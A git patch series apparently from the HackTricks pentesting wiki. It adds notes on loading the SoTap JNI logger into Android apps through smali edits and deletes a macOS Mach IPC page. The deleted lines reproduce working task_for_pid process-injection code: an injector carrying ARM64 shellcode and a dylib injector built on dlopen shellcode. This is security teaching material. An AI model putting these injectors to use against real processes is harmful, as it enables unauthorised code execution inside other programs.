libsotap.so: + - lib/arm64-v8a/libsotap.so (for arm64) + - lib/armeabi-v7a/libsotap.so (for arm32) +2) Ensure SoTap loads before other JNI libs. Inject a call early (e.g., Application subclass static initializer or onCreate) so the logger is initialized first. Smali snippet example: + ```smali + const-string v0, "sotap" + invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V + ``` +3) Rebuild/sign/install, run the app, then collect logs. + +Log paths (checked in order): +``` +/data/user/0/%s/files/sotap.log +/data/data/%s/files/sotap.log +/sdcard/Android/data/%s/files/sotap.log +/sdcard/Download/sotap-%s.log +# If all fail: fallback to Logcat only +``` + +Notes and troubleshooting: +- ABI alignment is mandatory. A mismatch will raise UnsatisfiedLinkError and the logger won’t load. +- Storage constraints are common on modern Android; if file writes fail, SoTap will still emit via Logcat. +- Behavior/verbosity is intended to be customized; rebuild from source after editing sotap.c. + +This approach is useful for malware triage and JNI debugging where observing native call flows from process start is critical but root/system-wide hooks aren’t available. + --- ### Recent vulnerabilities worth hunting for in APKs @@ -93,6 +129,9 @@ When you spot *third-party* `.so` files inside an APK, always cross-check their ### References - Frida 16.x change-log (Android hooking, tiny-function relocation) – [frida.re/news](https://frida.re/news/) -- NVD advisory for `libwebp` overflow CVE-2023-4863 – [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863) +- NVD advisory for `libwebp` overflow CVE-2023-4863 – [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863) +- SoTap: Lightweight in-app JNI (.so) behavior logger – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap) +- SoTap Releases – [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases) +- How to work with SoTap? – [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13) -{{#include ../../banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/mobile-pentesting/android-app-pentesting/smali-changes.md b/src/mobile-pentesting/android-app-pentesting/smali-changes.md index be382d814..176d03fb0 100644 --- a/src/mobile-pentesting/android-app-pentesting/smali-changes.md +++ b/src/mobile-pentesting/android-app-pentesting/smali-changes.md @@ -1,4 +1,4 @@ -# Smali - Decompiling/\[Modifying]/Compiling +# Smali - Decompiling/[Modifying]/Compiling {{#include ../../banners/hacktricks-training.md}} @@ -25,7 +25,7 @@ If **apktool** gives you any error, try[ installing the **latest version**](http Some **interesting files you should look are**: -- _res/values/strings.xml_ (and all xmls inside res/values/\*) +- _res/values/strings.xml_ (and all xmls inside res/values/*) - _AndroidManifest.xml_ - Any file with extension _.sqlite_ or _.db_ @@ -162,7 +162,7 @@ invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/Strin Recommendations: -- If you are going to use declared variables inside the function (declared v0,v1,v2...) put these lines between the _.local \_ and the declarations of the variables (_const v0, 0x1_) +- If you are going to use declared variables inside the function (declared v0,v1,v2...) put these lines between the _.local _ and the declarations of the variables (_const v0, 0x1_) - If you want to put the logging code in the middle of the code of a function: - Add 2 to the number of declared variables: Ex: from _.locals 10_ to _.locals 12_ - The new variables should be the next numbers of the already declared variables (in this example should be _v10_ and _v11_, remember that it starts in v0). @@ -186,8 +186,42 @@ move-result-object v12 invoke-virtual {v12}, Landroid/widget/Toast;->show()V ``` +### Loading a Native Library at Startup (System.loadLibrary) -{{#include ../../banners/hacktricks-training.md}} +Sometimes you need to preload a native library so it initializes before other JNI libs (e.g., to enable process-local telemetry/logging). You can inject a call to System.loadLibrary() in a static initializer or early in Application.onCreate(). Example smali for a static class initializer (): +```smali +.class public Lcom/example/App; +.super Landroid/app/Application; +.method static constructor ()V + .registers 1 + const-string v0, "sotap" # library name without lib...so prefix + invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V + return-void +.end method +``` +Alternatively, place the same two instructions at the start of your Application.onCreate() to ensure the library loads as early as possible: + +```smali +.method public onCreate()V + .locals 1 + + const-string v0, "sotap" + invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V + + invoke-super {p0}, Landroid/app/Application;->onCreate()V + return-void +.end method +``` + +Notes: +- Make sure the correct ABI variant of the library exists under lib// (e.g., arm64-v8a/armeabi-v7a) to avoid UnsatisfiedLinkError. +- Loading very early (class static initializer) guarantees the native logger can observe subsequent JNI activity. + +## References + +- SoTap: Lightweight in-app JNI (.so) behavior logger – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap) + +{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file From 19631174282a9354d95610229212fb73c71a938e Mon Sep 17 00:00:00 2001 From: Build master Date: Wed, 3 Sep 2025 10:29:36 +0000 Subject: [PATCH 19/40] Update searchindex (purged history; keep current) From 6fdf8a57d6bd856304dc6c86388318037a730ae2 Mon Sep 17 00:00:00 2001 From: carlospolop Date: Wed, 3 Sep 2025 12:55:30 +0200 Subject: [PATCH 20/40] updates --- .../README.md | 858 ------------------ .../README.md | 68 -- .../iis-internet-information-services.md | 25 + .../pentesting-web/laravel.md | 19 + .../web-vulnerabilities-methodology/README.md | 132 --- .../cryptographic-algorithms/README.md | 186 ---- src/reversing/reversing-tools/README.md | 119 --- .../README.md | 199 ---- 8 files changed, 44 insertions(+), 1562 deletions(-) delete mode 100644 src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md delete mode 100644 src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md delete mode 100644 src/pentesting-web/web-vulnerabilities-methodology/README.md delete mode 100644 src/reversing/cryptographic-algorithms/README.md delete mode 100644 src/reversing/reversing-tools/README.md delete mode 100644 src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md deleted file mode 100644 index 7199ef495..000000000 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md +++ /dev/null @@ -1,858 +0,0 @@ -# macOS IPC - Inter Process Communication - -{{#include ../../../../banners/hacktricks-training.md}} - -## Mach messaging via Ports - -### Basic Information - -Mach uses **tasks** as the **smallest unit** for sharing resources, and each task can contain **multiple threads**. These **tasks and threads are mapped 1:1 to POSIX processes and threads**. - -Communication between tasks occurs via Mach Inter-Process Communication (IPC), utilising one-way communication channels. **Messages are transferred between ports**, which act like **message queues** managed by the kernel. - -Each process has an **IPC table**, in there it's possible to find the **mach ports of the process**. The name of a mach port is actually a number (a pointer to the kernel object). - -A process can also send a port name with some rights **to a different task** and the kernel will make this entry in the **IPC table of the other task** appear. - -### Port Rights - -Port rights, which define what operations a task can perform, are key to this communication. The possible **port rights** are ([definitions from here](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): - -- **Receive right**, which allows receiving messages sent to the port. Mach ports are MPSC (multiple-producer, single-consumer) queues, which means that there may only ever be **one receive right for each port** in the whole system (unlike with pipes, where multiple processes can all hold file descriptors to the read end of one pipe). - - A **task with the Receive** right can receive messages and **create Send rights**, allowing it to send messages. Originally only the **own task has Receive right over its por**t. -- **Send right**, which allows sending messages to the port. - - The Send right can be **cloned** so a task owning a Send right can clone the right and **grant it to a third task**. -- **Send-once right**, which allows sending one message to the port and then disappears. -- **Port set right**, which denotes a _port set_ rather than a single port. Dequeuing a message from a port set dequeues a message from one of the ports it contains. Port sets can be used to listen on several ports simultaneously, a lot like `select`/`poll`/`epoll`/`kqueue` in Unix. -- **Dead name**, which is not an actual port right, but merely a placeholder. When a port is destroyed, all existing port rights to the port turn into dead names. - -**Tasks can transfer SEND rights to others**, enabling them to send messages back. **SEND rights can also be cloned, so a task can duplicate and give the right to a third task**. This, combined with an intermediary process known as the **bootstrap server**, allows for effective communication between tasks. - -### File Ports - -File ports allows to encapsulate file descriptors in Mac ports (using Mach port rights). It's possible to create a `fileport` from a given FD using `fileport_makeport` and create a FD froma. fileport using `fileport_makefd`. - -### Establishing a communication - -#### Steps: - -As it's mentioned, in order to establish the communication channel, the **bootstrap server** (**launchd** in mac) is involved. - -1. Task **A** initiates a **new port**, obtaining a **RECEIVE right** in the process. -2. Task **A**, being the holder of the RECEIVE right, **generates a SEND right for the port**. -3. Task **A** establishes a **connection** with the **bootstrap server**, providing the **port's service name** and the **SEND right** through a procedure known as the bootstrap register. -4. Task **B** interacts with the **bootstrap server** to execute a bootstrap **lookup for the service** name. If successful, the **server duplicates the SEND right** received from Task A and **transmits it to Task B**. -5. Upon acquiring a SEND right, Task **B** is capable of **formulating** a **message** and dispatching it **to Task A**. -6. For a bi-directional communication usually task **B** generates a new port with a **RECEIVE** right and a **SEND** right, and gives the **SEND right to Task A** so it can send messages to TASK B (bi-directional communication). - -The bootstrap server **cannot authenticate** the service name claimed by a task. This means a **task** could potentially **impersonate any system task**, such as falsely **claiming an authorization service name** and then approving every request. - -Then, Apple stores the **names of system-provided services** in secure configuration files, located in **SIP-protected** directories: `/System/Library/LaunchDaemons` and `/System/Library/LaunchAgents`. Alongside each service name, the **associated binary is also stored**. The bootstrap server, will create and hold a **RECEIVE right for each of these service names**. - -For these predefined services, the **lookup process differs slightly**. When a service name is being looked up, launchd starts the service dynamically. The new workflow is as follows: - -- Task **B** initiates a bootstrap **lookup** for a service name. -- **launchd** checks if the task is running and if it isn’t, **starts** it. -- Task **A** (the service) performs a **bootstrap check-in**. Here, the **bootstrap** server creates a SEND right, retains it, and **transfers the RECEIVE right to Task A**. -- launchd duplicates the **SEND right and sends it to Task B**. -- Task **B** generates a new port with a **RECEIVE** right and a **SEND** right, and gives the **SEND right to Task A** (the svc) so it can send messages to TASK B (bi-directional communication). - -However, this process only applies to predefined system tasks. Non-system tasks still operate as described originally, which could potentially allow for impersonation. - -### A Mach Message - -[Find more info here](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) - -The `mach_msg` function, essentially a system call, is utilized for sending and receiving Mach messages. The function requires the message to be sent as the initial argument. This message must commence with a `mach_msg_header_t` structure, succeeded by the actual message content. The structure is defined as follows: - -```c -typedef struct { - mach_msg_bits_t msgh_bits; - mach_msg_size_t msgh_size; - mach_port_t msgh_remote_port; - mach_port_t msgh_local_port; - mach_port_name_t msgh_voucher_port; - mach_msg_id_t msgh_id; -} mach_msg_header_t; -``` - -Processes possessing a _**receive right**_ can receive messages on a Mach port. Conversely, the **senders** are granted a _**send**_ or a _**send-once right**_. The send-once right is exclusively for sending a single message, after which it becomes invalid. - -In order to achieve an easy **bi-directional communication** a process can specify a **mach port** in the mach **message header** called the _reply port_ (**`msgh_local_port`**) where the **receiver** of the message can **send a reply** to this message. The bitflags in **`msgh_bits`** can be used to **indicate** that a **send-once** **right** should be derived and transferred for this port (`MACH_MSG_TYPE_MAKE_SEND_ONCE`). - -> [!TIP] -> Note that this kind of bi-directional communication is used in XPC messages that expect a replay (`xpc_connection_send_message_with_reply` and `xpc_connection_send_message_with_reply_sync`). But **usually different ports are created** as explained previously to create the bi-directional communication. - -The other fields of the message header are: - -- `msgh_size`: the size of the entire packet. -- `msgh_remote_port`: the port on which this message is sent. -- `msgh_voucher_port`: [mach vouchers](https://robert.sesek.com/2023/6/mach_vouchers.html). -- `msgh_id`: the ID of this message, which is interpreted by the receiver. - -> [!CAUTION] -> Note that **mach messages are sent over a \_mach port**\_, which is a **single receiver**, **multiple sender** communication channel built into the mach kernel. **Multiple processes** can **send messages** to a mach port, but at any point only **a single process can read** from it. - -### Enumerate ports - -```bash -lsmp -p -``` - -You can install this tool in iOS downloading it from [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz) - -### Code example - -Note how the **sender** **allocates** a port, create a **send right** for the name `org.darlinghq.example` and send it to the **bootstrap server** while the sender asked for the **send right** of that name and used it to **send a message**. - -{{#tabs}} -{{#tab name="receiver.c"}} - -```c -// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html -// gcc receiver.c -o receiver - -#include -#include -#include - -int main() { - - // Create a new port. - mach_port_t port; - kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); - if (kr != KERN_SUCCESS) { - printf("mach_port_allocate() failed with code 0x%x\n", kr); - return 1; - } - printf("mach_port_allocate() created port right name %d\n", port); - - - // Give us a send right to this port, in addition to the receive right. - kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); - if (kr != KERN_SUCCESS) { - printf("mach_port_insert_right() failed with code 0x%x\n", kr); - return 1; - } - printf("mach_port_insert_right() inserted a send right\n"); - - - // Send the send right to the bootstrap server, so that it can be looked up by other processes. - kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port); - if (kr != KERN_SUCCESS) { - printf("bootstrap_register() failed with code 0x%x\n", kr); - return 1; - } - printf("bootstrap_register()'ed our port\n"); - - - // Wait for a message. - struct { - mach_msg_header_t header; - char some_text[10]; - int some_number; - mach_msg_trailer_t trailer; - } message; - - kr = mach_msg( - &message.header, // Same as (mach_msg_header_t *) &message. - MACH_RCV_MSG, // Options. We're receiving a message. - 0, // Size of the message being sent, if sending. - sizeof(message), // Size of the buffer for receiving. - port, // The port to receive a message on. - MACH_MSG_TIMEOUT_NONE, - MACH_PORT_NULL // Port for the kernel to send notifications about this message to. - ); - if (kr != KERN_SUCCESS) { - printf("mach_msg() failed with code 0x%x\n", kr); - return 1; - } - printf("Got a message\n"); - - message.some_text[9] = 0; - printf("Text: %s, number: %d\n", message.some_text, message.some_number); -} -``` - -{{#endtab}} - -{{#tab name="sender.c"}} - -```c -// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html -// gcc sender.c -o sender - -#include -#include -#include - -int main() { - - // Lookup the receiver port using the bootstrap server. - mach_port_t port; - kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port); - if (kr != KERN_SUCCESS) { - printf("bootstrap_look_up() failed with code 0x%x\n", kr); - return 1; - } - printf("bootstrap_look_up() returned port right name %d\n", port); - - - // Construct our message. - struct { - mach_msg_header_t header; - char some_text[10]; - int some_number; - } message; - - message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); - message.header.msgh_remote_port = port; - message.header.msgh_local_port = MACH_PORT_NULL; - - strncpy(message.some_text, "Hello", sizeof(message.some_text)); - message.some_number = 35; - - // Send the message. - kr = mach_msg( - &message.header, // Same as (mach_msg_header_t *) &message. - MACH_SEND_MSG, // Options. We're sending a message. - sizeof(message), // Size of the message being sent. - 0, // Size of the buffer for receiving. - MACH_PORT_NULL, // A port to receive a message on, if receiving. - MACH_MSG_TIMEOUT_NONE, - MACH_PORT_NULL // Port for the kernel to send notifications about this message to. - ); - if (kr != KERN_SUCCESS) { - printf("mach_msg() failed with code 0x%x\n", kr); - return 1; - } - printf("Sent a message\n"); -} -``` - -{{#endtab}} -{{#endtabs}} - -### Privileged Ports - -- **Host port**: If a process has **Send** privilege over this port he can get **information** about the **system** (e.g. `host_processor_info`). -- **Host priv port**: A process with **Send** right over this port can perform **privileged actions** like loading a kernel extension. The **process need to be root** to get this permission. - - Moreover, in order to call **`kext_request`** API it's needed to have other entitlements **`com.apple.private.kext*`** which are only given to Apple binaries. -- **Task name port:** An unprivileged version of the _task port_. It references the task, but does not allow controlling it. The only thing that seems to be available through it is `task_info()`. -- **Task port** (aka kernel port)**:** With Send permission over this port it's possible to control the task (read/write memory, create threads...). - - Call `mach_task_self()` to **get the name** for this port for the caller task. This port is only **inherited** across **`exec()`**; a new task created with `fork()` gets a new task port (as a special case, a task also gets a new task port after `exec()`in a suid binary). The only way to spawn a task and get its port is to perform the ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) while doing a `fork()`. - - These are the restrictions to access the port (from `macos_task_policy` from the binary `AppleMobileFileIntegrity`): - - If the app has **`com.apple.security.get-task-allow` entitlement** processes from the **same user can access the task port** (commonly added by Xcode for debugging). The **notarization** process won't allow it to production releases. - - Apps with the **`com.apple.system-task-ports`** entitlement can get the **task port for any** process, except the kernel. In older versions it was called **`task_for_pid-allow`**. This is only granted to Apple applications. - - **Root can access task ports** of applications **not** compiled with a **hardened** runtime (and not from Apple). - -### Shellcode Injection in thread via Task port - -You can grab a shellcode from: - - -{{#ref}} -../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md -{{#endref}} - -{{#tabs}} -{{#tab name="mysleep.m"}} - -```objectivec -// clang -framework Foundation mysleep.m -o mysleep -// codesign --entitlements entitlements.plist -s - mysleep - -#import - -double performMathOperations() { - double result = 0; - for (int i = 0; i < 10000; i++) { - result += sqrt(i) * tan(i) - cos(i); - } - return result; -} - -int main(int argc, const char * argv[]) { - @autoreleasepool { - NSLog(@"Process ID: %d", [[NSProcessInfo processInfo] -processIdentifier]); - while (true) { - [NSThread sleepForTimeInterval:5]; - - performMathOperations(); // Silent action - - [NSThread sleepForTimeInterval:5]; - } - } - return 0; -} -``` - -{{#endtab}} - -{{#tab name="entitlements.plist"}} - -```xml - - - - com.apple.security.get-task-allow - - - -``` - -{{#endtab}} -{{#endtabs}} - -**Compile** the previous program and add the **entitlements** to be able to inject code with the same user (if not you will need to use **sudo**). - -
- -sc_injector.m - -```objectivec -// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector - -#import -#import -#include -#include - - -#ifdef __arm64__ - -kern_return_t mach_vm_allocate -( - vm_map_t target, - mach_vm_address_t *address, - mach_vm_size_t size, - int flags -); - -kern_return_t mach_vm_write -( - vm_map_t target_task, - mach_vm_address_t address, - vm_offset_t data, - mach_msg_type_number_t dataCnt -); - - -#else -#include -#endif - - -#define STACK_SIZE 65536 -#define CODE_SIZE 128 - -// ARM64 shellcode that executes touch /tmp/lalala -char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00"; - - -int inject(pid_t pid){ - - task_t remoteTask; - - // Get access to the task port of the process we want to inject into - kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); - if (kr != KERN_SUCCESS) { - fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); - return (-1); - } - else{ - printf("Gathered privileges over the task port of process: %d\n", pid); - } - - // Allocate memory for the stack - mach_vm_address_t remoteStack64 = (vm_address_t) NULL; - mach_vm_address_t remoteCode64 = (vm_address_t) NULL; - kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); - - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } - else - { - - fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); - } - - // Allocate memory for the code - remoteCode64 = (vm_address_t) NULL; - kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); - - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } - - - // Write the shellcode to the allocated memory - kr = mach_vm_write(remoteTask, // Task port - remoteCode64, // Virtual Address (Destination) - (vm_address_t) injectedCode, // Source - 0xa9); // Length of the source - - - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); - return (-3); - } - - - // Set the permissions on the allocated code memory - kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); - - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); - return (-4); - } - - // Set the permissions on the allocated stack memory - kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); - - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); - return (-4); - } - - // Create thread to run shellcode - struct arm_unified_thread_state remoteThreadState64; - thread_act_t remoteThread; - - memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) ); - - remoteStack64 += (STACK_SIZE / 2); // this is the real stack - //remoteStack64 -= 8; // need alignment of 16 - - const char* p = (const char*) remoteCode64; - - remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; - remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; - remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; - remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; - - printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p ); - - kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, - (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); - - if (kr != KERN_SUCCESS) { - fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); - return (-3); - } - - return (0); -} - -pid_t pidForProcessName(NSString *processName) { - NSArray *arguments = @[@"pgrep", processName]; - NSTask *task = [[NSTask alloc] init]; - [task setLaunchPath:@"/usr/bin/env"]; - [task setArguments:arguments]; - - NSPipe *pipe = [NSPipe pipe]; - [task setStandardOutput:pipe]; - - NSFileHandle *file = [pipe fileHandleForReading]; - - [task launch]; - - NSData *data = [file readDataToEndOfFile]; - NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding]; - - return (pid_t)[string integerValue]; -} - -BOOL isStringNumeric(NSString *str) { - NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; - NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; - return r.location == NSNotFound; -} - -int main(int argc, const char * argv[]) { - @autoreleasepool { - if (argc < 2) { - NSLog(@"Usage: %s ", argv[0]); - return 1; - } - - NSString *arg = [NSString stringWithUTF8String:argv[1]]; - pid_t pid; - - if (isStringNumeric(arg)) { - pid = [arg intValue]; - } else { - pid = pidForProcessName(arg); - if (pid == 0) { - NSLog(@"Error: Process named '%@' not found.", arg); - return 1; - } - else{ - printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); - } - } - - inject(pid); - } - - return 0; -} -``` - -
- -```bash -gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject -./inject -``` - -### Dylib Injection in thread via Task port - -In macOS **threads** might be manipulated via **Mach** or using **posix `pthread` api**. The thread we generated in the previous injection, was generated using Mach api, so **it's not posix compliant**. - -It was possible to **inject a simple shellcode** to execute a command because it **didn't need to work with posix** compliant apis, only with Mach. **More complex injections** would need the **thread** to be also **posix compliant**. - -Therefore, to **improve the thread** it should call **`pthread_create_from_mach_thread`** which will **create a valid pthread**. Then, this new pthread could **call dlopen** to **load a dylib** from the system, so instead of writing new shellcode to perform different actions it's possible to load custom libraries. - -You can find **example dylibs** in (for example the one that generates a log and then you can listen to it): - - -{{#ref}} -../../macos-dyld-hijacking-and-dyld_insert_libraries.md -{{#endref}} - -
- -dylib_injector.m - -```objectivec -// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector -// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include - - -#ifdef __arm64__ -//#include "mach/arm/thread_status.h" - -// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported -// And I say, bullshit. -kern_return_t mach_vm_allocate -( - vm_map_t target, - mach_vm_address_t *address, - mach_vm_size_t size, - int flags -); - -kern_return_t mach_vm_write -( - vm_map_t target_task, - mach_vm_address_t address, - vm_offset_t data, - mach_msg_type_number_t dataCnt -); - - -#else -#include -#endif - - -#define STACK_SIZE 65536 -#define CODE_SIZE 128 - - -char injectedCode[] = - - // "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :) - - // Call pthread_set_self - - "\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables - "\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack - "\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer - "\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the - "\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct - "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0; - "\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start - "\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0; - "\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread) - "\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread - "\x00\x00\x00\x14" // loop: b loop ; loop forever - - // Call dlopen with the path to the library - "\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB..."; - "\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN - "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0; - "\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop - "\x00\x01\x3f\xd6" // BLR X8 ; do dlopen() - - // Call pthread_exit - "\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT - "\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0; - "\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit - - "PTHRDCRT" // <- - "PTHRDEXT" // <- - "DLOPEN__" // <- - "LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ; - - - - -int inject(pid_t pid, const char *lib) { - - task_t remoteTask; - struct stat buf; - - // Check if the library exists - int rc = stat (lib, &buf); - - if (rc != 0) - { - fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno)); - //return (-9); - } - - // Get access to the task port of the process we want to inject into - kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); - if (kr != KERN_SUCCESS) { - fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); - return (-1); - } - else{ - printf("Gathered privileges over the task port of process: %d\n", pid); - } - - // Allocate memory for the stack - mach_vm_address_t remoteStack64 = (vm_address_t) NULL; - mach_vm_address_t remoteCode64 = (vm_address_t) NULL; - kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); - - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } - else - { - - fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); - } - - // Allocate memory for the code - remoteCode64 = (vm_address_t) NULL; - kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); - - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } - - - // Patch shellcode - - int i = 0; - char *possiblePatchLocation = (injectedCode ); - for (i = 0 ; i < 0x100; i++) - { - - // Patching is crude, but works. - // - extern void *_pthread_set_self; - possiblePatchLocation++; - - - uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread; - uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit; - uint64_t addrOfDlopen = (uint64_t) dlopen; - - if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0) - { - memcpy(possiblePatchLocation, &addrOfPthreadExit,8); - printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit); - } - - if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0) - { - memcpy(possiblePatchLocation, &addrOfPthreadCreate,8); - printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate); - } - - if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0) - { - printf ("DLOpen @%llx\n", addrOfDlopen); - memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t)); - } - - if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0) - { - strcpy(possiblePatchLocation, lib ); - } - } - - // Write the shellcode to the allocated memory - kr = mach_vm_write(remoteTask, // Task port - remoteCode64, // Virtual Address (Destination) - (vm_address_t) injectedCode, // Source - 0xa9); // Length of the source - 